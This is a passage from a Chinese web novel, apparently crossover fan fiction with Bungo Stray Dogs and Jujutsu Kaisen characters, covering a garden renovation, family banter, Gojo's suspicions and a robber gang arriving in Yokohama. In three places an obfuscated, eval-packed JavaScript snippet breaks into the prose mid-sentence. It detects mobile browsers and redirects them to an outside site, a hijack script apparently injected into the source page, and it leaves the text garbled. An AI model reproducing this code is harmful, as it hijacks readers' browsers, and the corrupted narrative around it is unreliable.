于是在两人简单粗暴的操作下,不到半日,庭院的栽种工作就完成了一半。 今年淡岛青理选择的花以茉莉和白色栀子为主,其间点缀些许粉色蔷薇和粉色绣球,一眼望去粉白一片,十分梦幻。 眼看太阳逐渐西斜,也快要到晚饭时间,淡岛青理叫停了工作。 橘发少年从一片花丛中起身,脸上还带着些泥土。 “今天不种完吗?” 购买的花卉已经栽好了一大半,还剩下一些,中原中也觉得努努力能在太阳完全落下前种好。 “不着急,”淡岛青理说,“种完花还要移栽树苗,铺设石子路和挖池塘等等。反正短时间内干不完,明天再继续好了。” 都快到晚饭时间了,也不能这么压榨童工啊。 银发萝莉推门从屋子里走出来,给两人递了手帕擦擦脸,顺便夸奖了两人的劳动成果。 “很漂亮。” 粉白相间的花朵被夕阳镀上几分橙色,在晚霞的映衬下愈显温暖。 晚风拂过脸颊带起一缕微长的发丝,中原中也站在花丛间遥望夕阳,闻着萦绕鼻尖的阵阵花香,感觉到了前所未有的宁和平静。 “那我就先回去了。”把视线从远方收回,他向两人道了别。步伐轻松地离开了。 之后的几天里,中原中也每天中午来到淡岛青理家工作,一直忙碌到傍晚再离开。 刚开始他与淡岛青理的相处还有些生疏,熟悉起来后,在淡岛青理的热烈邀请下,他每天的午饭都是在淡岛家一起吃的。 在休息的时候,几人会聊聊天,趁着这个机会中原中也为之前差点误伤她的事正式道了歉。 淡岛青理倒是没想到他把那件事记了这么久,笑着接受了道歉,表示这件事已经过去了,之后不用再提。 在所拥有的记忆的开始,中原中也就被“羊”收留了。之后他与小羊们抱团取暖,因为自身出色的异能成为了小羊们的依仗,被称为“羊之王”。 对于中原中也来说,这个称号象征的不是权利,而是责任。为了小羊们的安危,他殚精竭虑,尽职尽责。 这也就导致,除了“羊”的成员,他并没有与人深交过。 但是得益于淡岛女士毫不见外的分享欲,他现在觉得自己对淡岛家的了解有点过多了。 ——为什么连谁洗澡要放几只橡皮鸭这种事情都要和他说啊?! 被迫了解了一些自己不该知道的事情,中原中也感觉到了前所未有的压力。 他现在掌握着淡岛家除淡岛女士外所有成员的黑历史,随便拿出去一个都是让当事人想要当场投胎转生的程度。 四个人的性命掌握在他手里啊! 中原中也感觉肩膀莫名其妙地重了一些。 45.第 45 章 淡岛青理改造庭院的动静不小,附近的邻居多多少少都来围观过。 有的看上了淡岛青理买的这批花,打听了绿植店的地址,准备也买些来装饰庭院。有的称赞淡岛青理设计的布局漂亮,说想要请她也给自己家改造一下。 这些话里有多少是邻里间的客套话淡岛青理都门清,但她都笑着一一应下。 人类社会融入法则第三十二条——看破不说破。法则第四十六条——别把客套话当真。 拜访的人中来得最频繁的自然是隔壁的松本小姐,她每次下班回来都要来庭院里帮帮忙。虽然很累,但松本小姐乐在其中。 她一直想要一个花团锦簇的庭院,只是既没有闲钱也没有时间去打理,现在竟然可以免费到邻居家赏花了。而且伏黑君去上学之前可是有请她帮忙照顾妈妈和弟弟妹妹,为此还送了她一个她想要很久却一直没买到的限量签售CD。 庭院里花卉和树木的移栽已经完成了,现在正在修建小池塘。 他们一起给小池塘铺上了鹅卵石,等硬化清洁之后就可以安装过滤和排水系统了。这一活计淡岛青理决定还是请专业的师傅来做。 松本小姐站直腰身,用带着泥土的手擦了擦额头的汗,看着旁边盛开的蔷薇感慨:“这些蔷薇花开得真精神,淡岛夫人把它们照顾得很好。我姑妈家也在庭院里移栽过蔷薇,不过不知道是哪里做得不好,移栽两天后花瓣就发软打蔫了,之后开始一片片凋落,没多久枝头就秃了。” 闻言,淡岛青理跟她分享了很多复杂的养花小知识,松本小姐听了觉得受益匪浅。 旁边的中原中也则是陷入了迷茫。他看着庭院里经过自己暴力移栽还花繁叶茂的植株,怀疑自己的记忆是不是出了问题。 松本小姐来得勤了,见到中原中也的次数也就多了。 她知道自己的邻居是个心软的善人,家中已经收养了三个孩子。所以得知这个少年来自擂钵街后,她忍不住怀疑这是不是邻居的下一个收养对象,只不过淡岛清夫人很肯定地表示了暂时没有这个打算。 “中也君,休息一会儿吧,我从店里带了咖啡。” 在松本小姐的招呼下,三人洗了手围坐在庭院的石桌前,一边喝咖啡一边吹晚风。 听到有咖啡可以喝,莉帕也从屋子里跑出来,还带了一些茶和甜点。 “话说太宰君还没有回来吗?”很多天没有见到太宰治,松本小姐看着已经西斜的太阳发出疑问。 在淡岛夫人家的几个孩子中,她对那个浑身绷带的少年印象最深刻。淡岛夫人对他总是过分纵容,即使他身上带着伤也不限制他出门玩耍。 不过松本小姐是个很有边界感的邻居,不会对别人的家事指手画脚。只是好久没有见过那个孩子,还是有些担心。 淡岛青理抿了一口莉帕给她泡的茶,忧伤地说:“太宰的老板是个黑心资本家,总是无情地压榨太宰,太宰每天都要很晚才能回来。” 老板? 松本小姐对太宰治的工作一无所知,或者说她刚刚才知道太宰君在工作这件事。她以为那个少年每天出门是去找朋友玩。 她没有问淡岛夫人为什么不送太宰君去上学。 尽管淡岛家的生活看起来与辛苦毫无关系,但是作为一个领养了三个孩子的单亲妈妈,淡岛夫人应该也承受了不小的压力。 她作为一个旁观者,不能想当然地要求淡岛夫人做到更多。 话题丝滑一转,松本小姐顺势开始抱怨自己的老板:“泽田大叔最近话好多,也不知道是不是到了更年期,每天都在抱怨这抱怨那,好像明天就要世界末日了一样。搞不懂啊搞不懂,难道男人到了中年都是这个样子吗?简直跟我那个醉鬼老爸一个样。” 她在这家咖啡店工作四年了,老板给的薪资待遇都很不错,所以偶尔老板抱怨两句她也愿意乐呵呵地听着,偶尔还会搭茬。 但是最近老板也不知道是哪里不顺,脾气和脸色都越来越差,昨天还因为客人说咖啡凉了把她骂了一顿。 拜托,客人自己玩手机玩太久把咖啡放凉了,给他重新加热他又不肯,她还能怎么办?把手机抢过来把咖啡倒进他嘴里吗? 老实说如果泽田大叔一开始就是这副模样,她大概不会在这家店干这么久。 松本小姐惆怅地叹了口气,希望老板早日渡过难关恢复正常。 “泽田先生一定是遇到了难处,过些天庭院完工后我去找他聊聊吧。”松本小姐的形容让淡岛青理有了点兴趣,毕竟之前的几次见面中泽田店长留给她的印象不错。 莫名地对淡岛夫人充满信任,松本小姐觉得自己痛苦的打工生活将要重见阳光。 她心情颇好地伸手点了点正在喝咖啡的少年:“中也君可要一直保持住现在的样子,如果你将来变成啰唆大叔,姐姐我可是会痛心死的。” 指尖在额头轻点一下就收回,但轻柔的触感仿佛还残留在皮肤上。 从来没被如此亲昵对待过的中原中也一时间哑了声,不知道该作何回应。 好在松本小姐也没把他的反应放在心上,吃掉最后一口曲奇饼干,她站起来挥挥手:“该回家了,明天还要早起去上班。明天见啦,淡岛夫人,中也君!” 托中原中也和松本小姐的福,原本预估大半个月的工程最后用了一个多星期就完成了。 给秋千的支架上完最后一颗钉子,淡岛家的庭院改造正式宣布完工。 擦了一下脸上的灰尘,望着焕然一新的庭院,中原中也心中的成就感油然而生。 推开新换上的木质院门,就会看到一条椭圆形石板铺成的小路蜿蜒着向前,在屋门前的不远处分出一条岔路通往屋侧。 在石板路的两侧,粉白相间的花朵次第盛开,高低有序,花丛间立着一座秋千,木质的架子上有花藤缠绕。 从岔路拐屋侧,首先有一阵泉水叮咚的声音传入耳中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926505|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。小型木质水车带动小池塘的水流哗啦作响,池边翠竹丛生,其间夹杂着些许石景,靠近屋子廊檐的一侧零散地摆放了几盏石灯。 除此之外,院落里随处可见的盆景与苔藓造景也为庭院的精致感添砖加瓦。 中原中也不清楚购买这些绿植与装饰用了多少钱,但是通过来了好多次的运输车也能猜到是一笔不小的花费。 “辛苦啦,中也君!”淡岛青理毫不掩饰愉悦之情,给他包了一个大大的红包。 中原中也没有接触过这类东西,略显疑惑地接过那个精致的用丝带打了蝴蝶结的粉白色信封,入手感觉到沉甸甸的重量才察觉不对,打开后厚厚的一沓纸币惊得他差点没拿住。 “你这是做什么?不是说了不收你钱?”他皱着眉要把红包退还回去。 淡岛青理当然不能同意:“这不是工资,是庆祝乔迁的赠礼!虽然搬来也有一阵子了,但直到今天才算装修完成,当然要庆祝一下,松本小姐和周围的邻居都有份。” 只不过送给邻居们的不是红包,是一些摆件手工之类的。 “还有,谢谢你这些天陪我啦,”她眉眼一垂做出一副伤心的样子,“小惠和津美纪都在东京上学,很久没有回来过了,太宰每天工作到晚上,白天根本见不到人影。也没有人发消息同我聊天,我一个人在家好孤单的……” 手机很不给面子地叮铃几声,她面不改色地把手机静音:“是垃圾短信呢。” 远在高专等待回信的五条悟盯着屏幕,望眼欲穿。 莉帕放学回来背着书包路过,无情地踩了她一脚。她没有陪她吗? 淡岛青理理直气壮:“莉帕白天也要上学啊!” 莉帕:所以这个破学到底为什么要上啊! 中原中也吃软不吃硬,这个性格很容易被人拿捏。面对淡岛青理的示弱他难以应对,最后还是被哄着收了红包。 直到走出淡岛家的院门被风一吹,他被绕成了浆糊的大脑才清醒了几分。 ……怎么不知不觉就收下了? 转头想要将红包退回去,却见淡岛青理挥着小手帕眼眶红红地同他告别:“中也以后要经常来找我玩哦,有新鲜事记得告诉我!被欺负了也要告诉我啊,我帮你一起骂他!” 中原中也:……最后一句就不必了,结果绝对是你被骂哭吧? 但是淡岛女士的善意他接收到了。 面对女人的泪眼,他无意识地咬了咬腮边的软肉,点点头轻声说:“知道了……青理姐。”他丢下这一句后就耳朵红红地匆匆离开了。 少年的身影逐渐走远,那抹鲜艳的橘红色在视野里消失不见。 淡岛青理放下手帕,沉默着回到屋内坐在沙发上,面色严肃地低头沉思。 “怎么了?”银发萝莉正在写作业,百忙之中分给她一个眼神。 淡岛青理嘴角绷直,眉头紧皱,半晌一拍大腿—— “差辈了啊!” 46.第 46 章 当天晚间的餐桌上,气氛格外古怪。 太宰治的目光几次往淡岛青理身上瞟。 不知道为什么,总觉得女人今晚格外心虚。 从上次的谈话后,太宰治对淡岛青理的态度发生了一些改变。 可能是因为是知道淡岛青理不是普通人不会被轻易伤害,也可能是因为明白了淡岛青理有所图谋不会主动离开,总之太宰治变得随性许多。像是终于对铲屎官有了基础信任的猫咪,开始随意地露出爪子和尖牙对着铲屎官耀武扬威。 最明显的表现是他把对淡岛青理的称呼从“淡岛夫人”改成了“青理”,阴阳怪气的时候则会称呼她为“青理酱”。 这让淡岛青理伤心了许久。 “除了津美纪,就没有人愿意老老实实地叫我妈妈吗?为什么?我哪里做得不好?”在太宰治看不见的地方,淡岛青理曾哭哭啼啼地向莉帕倾诉。 日夜不停地对太宰猫猫嘘寒问暖,对那些试探和怀疑视而不见,为的不就是有一天能听太宰猫猫甜甜地喊一声妈妈吗? 好不容易守得云开见月明,结果怎么跟她预想得不一样啊?!没大没小!简直和悟一个样子! 当然,这种抱怨她只敢偷偷说说。 毕竟猫猫怎么会有错呢?叫什么都是猫猫的自由! 扯远了,总而言之,现在的太宰治已经不是之前的太宰治了。 从前的太宰治面对古怪之处会选择不予戳破,装作不曾察觉,实际上心中九曲十八弯,暗自揣测提防。 而现在他选择直接发问,省一点脑细胞。 “你偷吃我的蟹肉罐头了?”黑发少年面带怀疑,眼神锐利,仔细地观察对面女人的表情。 他话音刚落,女人一激灵,立刻举手发誓:“绝对没有!” “你把森先生给我的外套洗坏了?” 女人缓缓放下手,略显遗憾:“可惜没有。” “哼……”太宰治眯起眼睛,觉得事情不太对头。这人的表现很明显是做了什么对不起他的事。 他开始回想今天家中有什么异常与不同。 今天的晚饭是很少出现在淡岛家餐桌上的西餐,略显单调的口味让他有些不适应。 莉帕握着勺子翻了个白眼:“晚饭是我做的,怎么,不满意?” 太宰治用筷子戳着碗里的沙拉,心想这和吃草有什么区别?当然,这句话他没有说出口,怕把莉帕惹毛了下次往他的菜里吐唾沫。 思绪继续向前翻页,他想起傍晚回来走近这片街区时,远远地飘入他鼻腔的茉莉花香。 美好,蓬勃,富有生命力,鲜花盛开的庭院一如它的主人一般,与阴郁混乱的横滨格格不入。 庭院已经全部装修完毕,多余的泥土和材料都被清理得干干净净,而庭院的主人对此只字不提,不曾炫耀一句,在餐桌上安安静静不发一言。 问题出现在哪里已经很明显了。 “看来是和那个来帮忙的家伙有关。” 对面的女人动作一僵,眼神乱飘。 “哈,我猜对了。”太宰治阴沉沉地勾起唇角。 关于那个来帮忙装修庭院的少年,淡岛青理没有和他提过半点。但是通过那人在家中留下的痕迹,太宰治大概能猜出来人的性格 ——一个惯会装模作样讨巧卖乖的家伙。 戳弄沙拉的动作重了几分,太宰治浑身散发黑气。呵,这女人倒是变心得够快,才多久就又有了新玩具。 一点也不想有弟弟的太宰治强行结束了这个话题,不给女人提起话头的机会。 他放下筷子从衬衫的口袋里掏出了一部手机:“森先生给你的,遇到危险时通过这部手机可以联系黑蜥蜴。” 轻轻一推,手机顺着桌子滑到淡岛青理面前。 淡岛青理没有客气,翻看着手机里的联系人,若有所思地问道:“最近发生什么事情了吗?” 现在她与森鸥外的关系不算僵,但凭借她的认知,森鸥外应该还没大方到无缘无故就把黑蜥蜴的调度权分给她的程度。 只能说淡岛青理对森鸥外还是太了解了。 “森先生接手港口之后砍掉了毒/品走/私和人口/贩卖的生意,相当于砍掉了半条命脉。港口的内乱刚刚结束,经济恢复缓慢,森先生有意开拓新的宝石线。”将最后一口食物送入口中,太宰治扯过手帕擦了擦嘴角。 他双手交握,将下巴搭在手背上:“森先生将这件事交给我负责。” 这个任务其实原本并不是交给太宰治的。在森鸥外看来此时的太宰治具有极大的不确定性,将一整条宝石线交给他负责还是有些冒险了。 但是这个任务被太宰治揽了过来。既然已经投身黑暗,那当然要遵守黑夜的规则,只有展现出足够的能力,才能拥有足够的话语权。 难得他主动要求做什么任务,森鸥外还是很惊喜的,在仔细权衡了利弊之后,森鸥外还是决定赌一把。 毕竟,与风险相伴的是巨大的收益。 还是那句话,他从来不怀疑太宰治的能力。 只不过他同意得太快了,被太宰治趁机宰了一笔。 “员工福利啊员工福利!我去开拓新的宝石线,肯定会成为某些人的眼中钉,到时候他们想抓青理要挟我怎么办?森先生,你难道都不愿意给员工消除后顾之忧的吗?” 少年望过来的眼神充满质疑,似乎只要他敢拒绝就要去劳动局举报他。 森鸥外:……淡岛夫人是不是把他养得太邪门了一点? 从来只会先一步控制员工家属以保证员工忠诚度的森鸥外感到屈辱,最后黑着脸分出了黑蜥蜴的紧急调度权。 这就是淡岛青理手里手机的由来。 其实她也能猜出几分,毕竟森鸥外那个铁公鸡可不会主动拔毛。不过太宰治不说,淡岛青理也就当作不知道了。 “这几天不要随便出门,”太宰治沉声叮嘱,停顿片刻后语调一转又说:“不过青理酱如果愿意亲自出手解决一些麻烦的话,请务必叫我来观赏。” 淡岛青理就当没听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930615|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他后面阴阳怪气的话,泪眼汪汪地抱住莉帕的脖子说:“太宰知道关心妈妈了,呜呜呜呜,好感动!” 银发萝莉艰难地咽下嘴里的食物,举着刀叉两眼无光。 跟她有什么关系啊…… · 【有人说眼睛是心灵的窗户,那么在少年看来,女人的内心也并非空无一物。 曾经,那双深灰色的眼瞳像蒙尘的玻璃珠,僵硬且虚假。可是偶尔,少年能从她无光的眼底窥探她内心的风暴。 死寂的外表下掩藏着压抑到极致的暴戾,像席卷沙尘的龙卷风,要将她的内心摧毁殆尽。 每当她阖起双眸,就像关上了一个世界,风暴止步于她的眼底,不曾有丝毫外泄。 有时候,少年觉得她像一张褪了色的旧照片,虚浮地粘贴在绚烂的人流中,身上是一成不变的无法被沾染的灰白。 看到她,少年就觉得看到了自己的未来。 有些人往往会被与自己相似的人吸引,向外索求,从他人身上寻找相同的特质,以此获得认同感和归属感,心理学上称之为镜像移情。 但是少年觉得他与她并不属于这一类。 女人于他而言,是不想承认却无法逃避的未来。 就像是在无边苦海上飞渡的两只孤鸟,他们无处停靠,无处落脚。疲惫冲刷他们的每根羽毛,于是越飞越慢,越飞越低。 某一日,雪夜晴空,两道轨迹交错,幼鸟遇见了另一个自我。 为什么还在挣扎,为什么还没停下? 明明每一片羽毛都沾满干涸的血迹,明明世界于你已经失去光明,为什么仍然向前,飞往不知在何处的远方? 答案总在牵扯着他的思绪,所以离别来临的那一天,他伸出手想要同她一起离开。 并不是同类的惺惺相惜,他想要跟着她,只是想知道她何时会停止扇动翅膀,想目睹她会在哪片波涛下死亡,因为那大概也是他要埋葬的地方。 只是他被拒绝了,女人没有任何犹豫地抛下了他。 可是如果不能见证结局,又为何让他遇见呢? 世界原本已经在他面前枯萎,却有一抹遍布尖刺与鲜血的身影出现在他的身边。所以往后余生,在死亡来临之前,他都将追逐她的足迹,为了亲眼看到那一抹灰色彻底褪去色彩。 于是他离开了家,辗转了许多地方,最后循着痕迹来到了横滨。 时隔多年,他再次看见了那双眼瞳。曾经暗藏于眼底的风暴已经平息,灰色的眼眸像阴云悬压下的海面,平静无波,一览无余。 她藏起所有血腥与暴戾,落入水底,伪装成游鱼。究竟是下定决心要融入海底,还是在等待世界带来的窒息? 她的变化是好是坏,少年看不明白,他只是再次伸出手握住了那一抹灰白。 或许,少年心底还有一丝不肯承认的幻想。 如果某一日她能勘破世界的真相,挣脱死亡,那么是不是说他也能一样? 是重生,还是死亡,请你为我指引方向。】 47.第 47 章 远在东京的咒术高专,五条悟叉开双腿坐在操场边的台阶上,垂下的手中握着一部带有白猫挂坠的手机。 他时不时把手机举起来查看一番,然后又关上,就这么来来回回循环往复。 操场上,熊猫刚结束一场对练,他远远地望着五条悟,一边揉着肚子一边说:“悟这几天怎么了?没任务的时候就一直坐在那里盯着手机,该不会是失恋了吧?” “鲑鱼。”狗卷棘也察觉到了五条悟的反常——他都不愿意和自己一起恶作剧了! 禅院真希用布擦拭了一番咒具,推了推眼镜说:“你们两个少讲点没影的八卦,多操心操心过几天的姐妹校交流会。” 被真希毫不留情地反驳了,熊猫也知道自己的猜测很离谱,但那可是天上天下唯我独尊的五条悟啊,究竟什么事能让他这么魂不守舍? 上次见他这副样子还是在去年发生在京都和新宿的百鬼夜行事件之后。因为夏油杰的死亡,他确实消沉了一段时间。 这次因为什么?难道硝子出事了? 这个念头刚冒出来,熊猫就在心里用力呸呸呸了几声。熊言无忌熊言无忌,都是胡说的。 “我说真希,你难道一点都不好奇吗?”熊猫凑到禅院真希身边,试图拉她加入八卦大军。 “呵,看来你还有的是精力。”禅院真希不吃他这一套,冷笑一声拽住熊猫的胳膊。 熊猫惊觉大事不妙:“等,等一下!真希……” 他话还没说完,就被一股巨力甩了起来,在空中嗖嗖嗖地转了几圈,然后咻的一声被甩飞了出去。 “!!!” 看到熊猫起飞,狗卷棘没用禅院真希发话,立刻识相地压了压腿重新开始训练。 这两个八卦的家伙……禅院真希将咒具扛在身上,回头看了一眼垂头坐着的男人,脑海中回想起了那天的景象。 那天的树林里,缓过神来的五条悟抬手整理了一下眼罩,表面上看来没有受到太大影响。 他只是略显矫揉造作地抱怨:“那很坏了,青理酱竟然欺骗了单纯善良的五条老师,简直不可饶恕。” 之后,他上前两步勾住了她的肩膀,小声说:“这件事我会弄清楚的,真希和伊地知先不要告诉其他人哦。” 时间回到现在,被甩飞出去的熊猫已经爬起来和狗卷棘一起跑步了,路过禅院真希时挥着手招呼她一起。 禅院真希迈步走了过去。 该提醒的她已经提醒过了。至于真相如何,她相信五条悟的判断。 信任是很难得的东西,而且一旦失去就很难再找回来。 手肘撑在膝盖上,双手下垂,五条悟低着头,目光随着手机上的白猫挂件来回摆动。 青理不回他的消息。 在淡岛青理离开高专后,五条悟仍然像往常一样每天发一些没有营养的消息给她。淡岛青理偶尔在几十条消息中随机挑一条回复,回信的内容也一如往常,温柔中透露着敷衍。 从淡岛青理的态度中,五条悟察觉不到任何异常。 不坦白吗?青理。 五条悟说不出来自己现在是什么心情。感情上,他仍然不认为淡岛青理与那次的入侵有关,他一直在等淡岛青理主动跟他解释。 只要她肯解释,他就愿意相信。 但是会产生等待淡岛青理解释的想法,就说明他内心深处已经有定论了。 可是淡岛青理再也没有提起那天的事情。 手机屏幕还亮着,消息界面停留在他刚刚发出去的信息上。淡岛青理还是没有回复。 两天前,他发出了那则消息——“青理酱最近有没有时间?我去横滨找你玩啊”,之后淡岛青理就再也没有回过他的消息。 放在平时这并没有什么问题。 经常会有这种情况,淡岛青理受不了他的连环轰炸会将他屏蔽,冷处理几天。往往这个时候就轮到硝子出场替他求情,并让他保证少生产一些电子垃圾。 可是现在的五条悟心中装满了心事,再看淡岛青理不回消息的行为就带上了几分恼怒。 为什么不回消息,就那么不在意他吗?还是骗了他后觉得心虚? 一阵高跟鞋扣地的声音逐渐从身后传来,越来越近,最后停在他的身边。 接着,一个纤细的身影在他旁边坐了下来。 五条悟没有抬头,有气无力地和来人打招呼:“是硝子啊,今天工作不忙吗?” 坐在他身边的家入硝子刚从医务室出来,身上还穿着白大褂,周身带着一点没散干净的血腥味和消毒水的味道。 这几天加班太多,她眼下的黑眼圈又重了几分,棕色的长发也显得有几分干枯毛躁。 她掏出两根棒棒糖,将其中一根桃子味的分给五条悟,然后拆开另一根放入口中。 “忙死了,夏天到了,咒灵又多了起来,受伤的人数也在增加,”她不满地轻啧了一声,“但是再忙也要休息,你还真当我是牛马了?” 五条悟接过棒棒糖后先在手中转了一圈,发现是没见过的牌子。他慢条斯理地撕开塑料包装,将那一颗淡粉色的糖球送入口中。 淡淡的桃子味在舌尖化开,意外地味道不错。 “好吃吗?”家入硝子问。 没等五条悟开口,她又接着说:“惠拿来的,说是淡岛夫人邮寄过来的零食。很大一个箱子,大家都有份。” “……”五条悟叼着棒棒糖沉默了一会儿,然后开口,“硝子,你有没有觉得青理酱这么多年一直没变过?” 家入硝子望着操场上奔跑的学生们,平静地回答:“没有变化不是好事吗?难道要像夏油那家伙一样突然变异你才开心?”越是长大就越是明白,不变的美好往往最难得。 五条悟被噎了一下,气恼地跺脚:“我是说外貌啊,外貌!从认识她起,她就是这副样貌,十多年来一直没有变过!连硝子你都变老了!” “呃!”家入硝子额头青筋暴起,猛地握拳! “五条悟,想死你就直说!” 邦邦给了五条悟两拳,拳拳到肉。看在他识相地关了无下限的份上,家入硝子决定不跟他计较。 她嗤笑一声:“你这家伙这些年不也没变吗?你在和我炫耀?” 挨了两拳的五条悟揉着肩膀,小声说:“那怎么能一样……” 家入硝子冷哼一声:“所以,你磨叽了半天到底想说什么?”一副魂不守舍的样子,烦死了。 五条悟叹了口气,委屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934519|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说:“青理不回我消息……” “就为了这个?”家入硝子大为不解,“不回你消息不是很正常吗?” 五条悟有被伤到:“可是我有重要的事想要问她!” “哦,意思就是还没问喽。” “……” “所以你前面发的消息都是废话?一定要等淡岛夫人回你你才肯问?” “…………” “你不会打电话吗?你的拨号键是被扣了吗?” “………………” “嘁,矫情。” 留下最后一句暴击,家入硝子起身头也不回地离开了。就这么点事儿,真是浪费她的时间。 五条悟捂着被插了几刀的心口,趴在地上捶打地面。可恶,硝子那家伙懂什么! “黑发,红衣,没有咒力残秽”,五条悟说过,他在哪里听到过这个形容。 【是啊,五条老师你还记得啊?】 在淡岛青理拜访高专之前,五条悟曾给远在国外的乙骨忧太打过一个电话,电话里乙骨忧太是这么回答的。 【去年百鬼夜行,我与夏油杰在高专战斗到最后。他当时融合了四千多只咒灵使出了极之番漩涡,为了与之抗衡,我向里香献祭自己对抗那一击。】 【两种力量碰撞下的冲击力太强,场地被炸出了一个大坑,我也因为力量耗尽晕倒了。】 【在晕倒之前我确实看见了,在远处的高阁上站了一个红色的身影。因为距离实在太远,我当时也已经意识模糊了,所以并没有看清是什么人,只记得她身后飘动的黑色长发……】 【醒来后我也第一时间去查看过,什么都没有。哈哈,现在想来是我看错了也说不定呢?】 【五条老师为什么突然提起这件事?难道真的有这么个人吗?她又出现了吗?】 五条悟告诉他,疑似有这样一个人出现在祓除咒灵的任务现场。 那时的五条悟并没有将这件事与淡岛青理联系起来,他只是觉得这个人目的不明,十分可疑。但是当听到真希阐述自己的发现时,一切都变得不一样了。 杰身上有淡岛家常用的熏香的气味,他在开战前去见过青理,战斗结束后,忧太看见了站在远处观望的红色人影;惠在少年院发现了红色人影,两天后,青理毫无预兆地出现在高专。 如果仅仅是这两件事,五条悟觉得也说明不了什么。青理只是个普通人,她和这些事情有什么关系呢? 但是伊地知的证词让他无法再自欺欺人——青理来到高专,是有目的的。 那个突袭了薨星宫的人与她是什么关系?同伙?还是雇员?亦或者青理是被利用了? 反过来再看之前发生的两件事,与青理真的没有关系吗? 这些天里,五条悟一直在思考,只有在祓除咒灵的时候大脑才得到片刻休息。他反复怀疑,辩解,再怀疑,试图将淡岛青理从中剥离出去。 少年院时那个红色人影出现救了虎杖,那百鬼夜行那日她出现在那里是为了什么?是为了……救杰吗? 这个可笑的念头没有在脑海中停留太久,因为他清楚地知道夏油杰死了,死在他面前。 所以青理,究竟是怎么一回事?你要做什么?告诉我啊! 48.第 48 章 五条悟的痛苦,家入硝子不懂,淡岛青理也不懂。 淡岛青理——前魔女协会追猎科首席,现横滨市优秀市民,东京警视厅编外卧底,正在被绝赞通缉中。 要问为什么,淡岛青理只能说,这大概是她大张旗鼓改造庭院的报应。 在普通百姓都在低调做事悄声做人的横滨,淡岛青理花大价钱打造的园艺庭院可谓十分醒目,不仅附近的居民都愿意来参观,犯罪分子显然也非常喜欢。 在庭院完工不久,淡岛青理就被盯上了。 与太宰治当初的提醒没有关系,盯上她的并不是宝石走私产业受到影响的黑手党,而是一个从东京流窜来的名叫“游隼”的强盗组织。 这是一个由五人组成的小型武装强盗组织,在东京犯下多起强盗杀人案,组织成员均被列为A级通缉犯。 因为他们手上有不少武器,顾及周围居民的生命安全,警方的两次抓捕行动均以失败告终。但是随着东京警方的不断追踪,几人在东京的行动受限变得举步维艰,不得不考虑转移阵地。 这个时候,横滨这个选项跃到了他们眼前。 据说那是一个混乱无度的地方,公共租界的性质决定了当地执法机构职权混乱,法律条款形同虚设,是非法组织与不法分子的圣地。 如果在不久之前,他们是不会考虑这个地方的。毕竟听说那里的暴君暴戾恣睢封豕长蛇,如果不小心触怒了暴君,他们可没有和那种庞然大物对抗的能力。 但是最近有消息称港口黑手党的首领已经更新换代,暴君已逝,新首领的地位还不稳固。在暴君的统治下积压了大量不满的各个组织都抓住机会开始反抗。此时横滨的黑暗势力之间明争暗斗尔虞我诈,正是他们前去浑水摸鱼的好时机。 事实也是如此,横滨这个地方就是犯罪者的天堂,面对随时随地爆发的争斗,横滨的警方根本没有精力来处理他们的抢劫案。 他们在小心翼翼了几天之后,发现根本无人追查,于是彻底放心,放开了手脚大胆地干。 他们接连抢劫了两户人家和三家商铺,均没有受到任何阻拦,他们拿着到手的钱财哈哈大笑,觉得人生从此前程大好! 这种嚣张的姿态一直持续到他们抢劫了一家珠宝店,一家看上去没有丝毫背景的珠宝店。 在抢劫之后的当天夜里,几人的据点就遭到了袭击。一小队黑衣人包围了他们的住所,领头的人二话不说就对着他们开了枪。 尽管几人都是背着人命的逃犯,但是面对这种毫无顾忌的重火力压制,他们手中的几支枪也派不上什么用场。 好在几人别的不说,逃命的本事都是一等一的强,在丢下那些宝石,吃了几颗枪子之后他们还是活着逃出来了。 后来才知道,原来那家看似不起眼的珠宝店是一个叫星野会的黑手党组织的销赃点,他们抢的是对方新到的货。 在那之后他们提心吊胆了几天,担心还会受到追杀。但是对方貌似在追回宝石后就没有再继续追究,他们也松了一口气。 问题是他们这口气松早了。 在那之后虽然没有黑手党势力追击,但是冒出来了一个银发男人对他们穷追不舍。那人就像长了狗鼻子一样,无论他们躲到哪里都能尾随而至。 按理说他们五个人五把枪,不至于害怕一个赤手空拳的男人。 但那人不是正常人啊!谁家的正常人可以徒手扭断枪管啊?!要不是他们用路人做人质,他五个真的就要被一个人一窝端了啊! 来自东京的几人对横滨的战力表示不能接受! 凌晨,趁着大多数人还没睡醒,几个身影翻过院墙进入了一户人家。 一个脸上带着疤痕的瘦高男人一脚踩烂地上的蔷薇花。粉色的花瓣被用力碾了几下,变成了土中的淤泥。 